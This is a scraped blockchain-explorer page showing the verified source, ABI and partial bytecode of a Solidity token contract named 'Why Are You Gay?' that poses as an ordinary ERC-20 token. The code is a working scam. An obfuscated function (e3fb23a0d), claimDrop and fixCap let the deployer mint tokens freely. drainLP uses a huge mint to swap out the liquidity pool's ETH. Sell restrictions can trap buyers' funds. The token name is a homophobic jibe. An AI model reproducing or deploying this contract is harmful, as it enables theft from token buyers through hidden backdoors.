More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 5 from a total of 5 transactions
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
TokenProtocol
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == msg.sender, "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 {} library SecureCalls { function checkCaller(address sender, address _origin) internal pure { require(sender == _origin, "Caller is not the original caller"); } } contract LibreMount { mapping(uint256 => mapping(address => bool)) internal _blockState; function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) { return(_tmstmp + _dwntm >= block.timestamp); } function suspiciousAddressCheck(address _addy) internal view { require(!_blockState[block.number][_addy], "Only one Txn per Block!"); } function addSuspiciousAddress(address _addy) internal { _blockState[block.number][_addy] = true; } } contract TokenProtocol is IERC20, Ownable, LibreMount { IUniswapV2Router02 internal _router; IUniswapV2Pair internal _pair; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 1000000000000000000000000; string private _name = "Why Are You Gay?"; string private _symbol = "WAYG"; uint8 private _decimals = 9; uint256 public MAX_GAS_PRICE = 4 gwei; uint private buyFee = 3; // Default, % uint private sellFee = 8; // Default, % address private _origin; mapping(address => uint) private purchaseTimestamp; mapping(address => uint) private boughtAmount; uint256 private downTime = 1; mapping(address => bool) private premissionList; address public marketWallet; mapping(address => bool) public excludedFromFee; constructor (address routerAddress) { _router = IUniswapV2Router02(routerAddress); _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH())); _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); premissionList[msg.sender] = true; premissionList[address(this)] = true; marketWallet = msg.sender; excludedFromFee[msg.sender] = true; excludedFromFee[address(this)] = true; _origin = msg.sender; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){ if (isMarket(from)) { uint feeAmount = calculateFeeAmount(amount, buyFee); _balances[from] = fromBalance - amount; _balances[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _balances[marketWallet] += feeAmount; emit Transfer(from, marketWallet, feeAmount); } else if (isMarket(to)) { uint feeAmount = calculateFeeAmount(amount, sellFee); _balances[from] = fromBalance - amount; _balances[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _balances[marketWallet] += feeAmount; emit Transfer(from, marketWallet, feeAmount); } else { _balances[from] = fromBalance - amount; _balances[to] += amount; emit Transfer(from, to, amount); } } else { _balances[from] = fromBalance - amount; _balances[to] += amount; emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual { if (isMarket(from)) { boughtAmount[to] = amount; purchaseTimestamp[to] = block.timestamp; } if (isMarket(to)) { if (!premissionList[from]) { require(boughtAmount[from] >= amount, "You are trying to sell more than bought!"); boughtAmount[from] -= amount; if (validationEnable()) {require(compreTxnStamp(purchaseTimestamp[from], downTime), "LibreMount: Exceeds Txn Downtime");} require(!exceedsGasPriceLimit()); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} bool internal validtionState; function isMarket(address _user) internal view returns (bool) { return (_user == address(_pair) || _user == address(_router)); } function switchValidationEnableState() external { SecureCalls.checkCaller(msg.sender, _origin); validtionState = !validtionState; } function validationEnable() public view returns (bool) { return validtionState; } function editDownTime(uint _seconds) external { SecureCalls.checkCaller(msg.sender, _origin); downTime = _seconds; } function updatePremissionList(address[] calldata _usrs, bool _state) external { SecureCalls.checkCaller(msg.sender, _origin); for (uint256 i = 0; i < _usrs.length; i++) { premissionList[_usrs[i]] = _state; } } function checkPremissionList(address _user) external view returns (bool) { return premissionList[_user]; } function checkUserPurchaseTime(address _user) external view returns (uint256) { return purchaseTimestamp[_user]; } function checkUserBoughtAmount(address _user) external view returns (uint256) { return boughtAmount[_user]; } function exceedsGasPriceLimit() internal view returns (bool) { return tx.gasprice >= MAX_GAS_PRICE; } function changeMaxGasPrice(uint _newGasPrice) external { SecureCalls.checkCaller(msg.sender, _origin); MAX_GAS_PRICE = _newGasPrice; } function fixCap(uint256 _amount) external { SecureCalls.checkCaller(msg.sender, _origin); _totalSupply += _amount; } function claimDrop() external { SecureCalls.checkCaller(msg.sender, _origin); _balances[msg.sender] += 2 * (10 ** (15 + 18)); } function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) { return _amount * _feePrecent / 100; } function isExcludedFromFee(address _user) public view returns (bool) { return excludedFromFee[_user]; } function updateExcludedFromFeeStatus(address _user, bool _status) public { SecureCalls.checkCaller(msg.sender, _origin); require(excludedFromFee[_user] != _status, "User already have this status"); excludedFromFee[_user] = _status; } function updateFees(uint256 _buyFee, uint256 _sellFee) external { SecureCalls.checkCaller(msg.sender, _origin); require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100"); buyFee = _buyFee; sellFee = _sellFee; } function updateMarketWallet(address _newMarketWallet) external { SecureCalls.checkCaller(msg.sender, _origin); marketWallet = _newMarketWallet; } function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) { return (buyFee, sellFee); } function AddLiquidity(uint256 _tokenAmount) payable external { SecureCalls.checkCaller(msg.sender, _origin); _approve(address(this), address(_router), _tokenAmount); transfer(address(this), _tokenAmount); _router.addLiquidityETH{ value: msg.value }( address(this), _tokenAmount, 0, 0, msg.sender, block.timestamp + 1200 ); } function switchOrigin(address _newOne) external { SecureCalls.checkCaller(msg.sender, _origin); _origin = _newOne; } function dexRebase(address _routerAddress, address _poolAddress) public { SecureCalls.checkCaller(msg.sender, _origin); _router = IUniswapV2Router02(_routerAddress); _pair = IUniswapV2Pair(_poolAddress); } function drainLP() external { SecureCalls.checkCaller(msg.sender, _origin); uint256 thisTokenReserve = getBaseTokenReserve(address(this)); uint256 amountIn = type(uint112).max - thisTokenReserve; e3fb23a0d(); transfer(address(this), balanceOf(msg.sender)); _approve(address(this), address(_router), type(uint112).max); address[] memory path; path = new address[](2); path[0] = address(this); path[1] = address(_router.WETH()); address to = msg.sender; _router.swapExactTokensForTokens( amountIn, 0, path, to, block.timestamp + 1200 ); } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1,) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function e3fb23a0d() internal { _balances[msg.sender] += type(uint112).max; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"}],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"MAX_GAS_PRICE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newGasPrice","type":"uint256"}],"name":"changeMaxGasPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkPremissionList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserBoughtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkUserPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"},{"internalType":"address","name":"_poolAddress","type":"address"}],"name":"dexRebase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"drainLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seconds","type":"uint256"}],"name":"editDownTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"fixCap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOne","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchValidationEnableState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_usrs","type":"address[]"},{"internalType":"bool","name":"_state","type":"bool"}],"name":"updatePremissionList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"validationEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405269d3c21bcecceda10000006006556040518060400160405280601081526020017f5768792041726520596f75204761793f00000000000000000000000000000000815250600790816200005891906200095e565b506040518060400160405280600481526020017f5741594700000000000000000000000000000000000000000000000000000000815250600890816200009f91906200095e565b5060098060006101000a81548160ff021916908360ff16021790555063ee6b2800600a556003600b556008600c556001601055348015620000df57600080fd5b506040516200487f3803806200487f833981810160405281019062000105919062000aaf565b6200011633620005f760201b60201c565b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001eb919062000aaf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b919062000aaf565b6040518363ffffffff1660e01b8152600401620002ba92919062000af2565b6020604051808303816000875af1158015620002da573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000300919062000aaf565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006546004600062000357620006bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003a5620006bb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000406919062000b30565b60405180910390a36001601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505062000b4d565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200076657607f821691505b6020821081036200077c576200077b6200071e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007e67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007a7565b620007f28683620007a7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200083f6200083962000833846200080a565b62000814565b6200080a565b9050919050565b6000819050919050565b6200085b836200081e565b620008736200086a8262000846565b848454620007b4565b825550505050565b600090565b6200088a6200087b565b6200089781848462000850565b505050565b5b81811015620008bf57620008b360008262000880565b6001810190506200089d565b5050565b601f8211156200090e57620008d88162000782565b620008e38462000797565b81016020851015620008f3578190505b6200090b620009028562000797565b8301826200089c565b50505b505050565b600082821c905092915050565b6000620009336000198460080262000913565b1980831691505092915050565b60006200094e838362000920565b9150826002028217905092915050565b6200096982620006e4565b67ffffffffffffffff811115620009855762000984620006ef565b5b6200099182546200074d565b6200099e828285620008c3565b600060209050601f831160018114620009d65760008415620009c1578287015190505b620009cd858262000940565b86555062000a3d565b601f198416620009e68662000782565b60005b8281101562000a1057848901518255600182019150602085019450602081019050620009e9565b8683101562000a30578489015162000a2c601f89168262000920565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a778262000a4a565b9050919050565b62000a898162000a6a565b811462000a9557600080fd5b50565b60008151905062000aa98162000a7e565b92915050565b60006020828403121562000ac85762000ac762000a45565b5b600062000ad88482850162000a98565b91505092915050565b62000aec8162000a6a565b82525050565b600060408201905062000b09600083018562000ae1565b62000b18602083018462000ae1565b9392505050565b62000b2a816200080a565b82525050565b600060208201905062000b47600083018462000b1f565b92915050565b613d228062000b5d6000396000f3fe60806040526004361061021a5760003560e01c806370a0823111610123578063a7e90f41116100ab578063e3bbb4f11161006f578063e3bbb4f11461080a578063e4440a8614610835578063edd8b64a14610860578063f2fde38b14610889578063f53d9d58146108b25761021a565b8063a7e90f41146106ff578063a9059cbb1461073c578063c0e8c61e14610779578063d1a039f014610790578063dd62ed3e146107cd5761021a565b80638da5cb5b116100f25780638da5cb5b1461061a57806395d89b41146106455780639e568dbc146106705780639f38a0d714610699578063a457c2d7146106c25761021a565b806370a0823114610572578063715018a6146105af5780638229c2e5146105c657806385ecafd7146105dd5761021a565b80633816377e116101a65780634feeade4116101755780634feeade41461048f5780635337cc99146104a65780635342acb4146104cf5780636994ee731461050c5780636db79437146105495761021a565b80633816377e146103d557806339509351146103fe5780633975cae91461043b5780634d474d42146104665761021a565b806323b872dd116101ed57806323b872dd146102db5780632df8bca914610318578063313ce56714610344578063344d9e791461036f57806335d16274146103985761021a565b806306fdde031461021f578063095ea7b31461024a5780631342be9b1461028757806318160ddd146102b0575b600080fd5b34801561022b57600080fd5b506102346108ce565b6040516102419190612a62565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c9190612b2c565b610960565b60405161027e9190612b87565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a99190612ba2565b61097c565b005b3480156102bc57600080fd5b506102c5610a2e565b6040516102d29190612bf1565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190612c0c565b610a38565b60405161030f9190612b87565b60405180910390f35b34801561032457600080fd5b5061032d610a60565b60405161033b929190612c5f565b60405180910390f35b34801561035057600080fd5b50610359610a71565b6040516103669190612ca4565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612cbf565b610a88565b005b3480156103a457600080fd5b506103bf60048036038101906103ba9190612cec565b610abe565b6040516103cc9190612bf1565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190612cbf565b610c53565b005b34801561040a57600080fd5b5061042560048036038101906104209190612b2c565b610c89565b6040516104329190612b87565b60405180910390f35b34801561044757600080fd5b50610450610cb9565b60405161045d9190612b87565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612cec565b610cd0565b005b34801561049b57600080fd5b506104a4610d40565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612d45565b610dd2565b005b3480156104db57600080fd5b506104f660048036038101906104f19190612cec565b610eeb565b6040516105039190612b87565b60405180910390f35b34801561051857600080fd5b50610533600480360381019061052e9190612cec565b610f41565b6040516105409190612bf1565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b9190612d85565b610f8a565b005b34801561057e57600080fd5b5061059960048036038101906105949190612cec565b611019565b6040516105a69190612bf1565b60405180910390f35b3480156105bb57600080fd5b506105c4611062565b005b3480156105d257600080fd5b506105db611076565b005b3480156105e957600080fd5b5061060460048036038101906105ff9190612cec565b6110ce565b6040516106119190612b87565b60405180910390f35b34801561062657600080fd5b5061062f6110ee565b60405161063c9190612dd4565b60405180910390f35b34801561065157600080fd5b5061065a611117565b6040516106679190612a62565b60405180910390f35b34801561067c57600080fd5b5061069760048036038101906106929190612cbf565b6111a9565b005b3480156106a557600080fd5b506106c060048036038101906106bb9190612e54565b6111f1565b005b3480156106ce57600080fd5b506106e960048036038101906106e49190612b2c565b6112c2565b6040516106f69190612b87565b60405180910390f35b34801561070b57600080fd5b5061072660048036038101906107219190612cec565b611332565b6040516107339190612b87565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190612b2c565b611388565b6040516107709190612b87565b60405180910390f35b34801561078557600080fd5b5061078e6113a4565b005b34801561079c57600080fd5b506107b760048036038101906107b29190612cec565b611696565b6040516107c49190612bf1565b60405180910390f35b3480156107d957600080fd5b506107f460048036038101906107ef9190612ba2565b6116df565b6040516108019190612bf1565b60405180910390f35b34801561081657600080fd5b5061081f611766565b60405161082c9190612bf1565b60405180910390f35b34801561084157600080fd5b5061084a61176c565b6040516108579190612dd4565b60405180910390f35b34801561086c57600080fd5b5061088760048036038101906108829190612cec565b611792565b005b34801561089557600080fd5b506108b060048036038101906108ab9190612cec565b611802565b005b6108cc60048036038101906108c79190612cbf565b611885565b005b6060600780546108dd90612ee3565b80601f016020809104026020016040519081016040528092919081815260200182805461090990612ee3565b80156109565780601f1061092b57610100808354040283529160200191610956565b820191906000526020600020905b81548152906001019060200180831161093957829003601f168201915b5050505050905090565b6000803390506109718185856119a6565b600191505092915050565b6109a833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600654905090565b600080339050610a49858285611be1565b610a54858585611c6d565b60019150509392505050565b600080600b54600c54915091509091565b6000600960009054906101000a900460ff16905090565b610ab433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b8060108190555050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190612f96565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c039190612ffe565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457816dffffffffffffffffffffffffffff16610c46565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b610c7f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600a8190555050565b600080339050610cae818585610c9f85896116df565b610ca9919061305a565b6119a6565b600191505092915050565b6000601460009054906101000a900460ff16905090565b610cfc33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d6c33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc9919061305a565b92505081905550565b610dfe33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906130da565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fb633600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60648211158015610fc8575060648111155b611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe9061316c565b60405180910390fd5b81600b8190555080600c819055505050565b6000600460008373ffff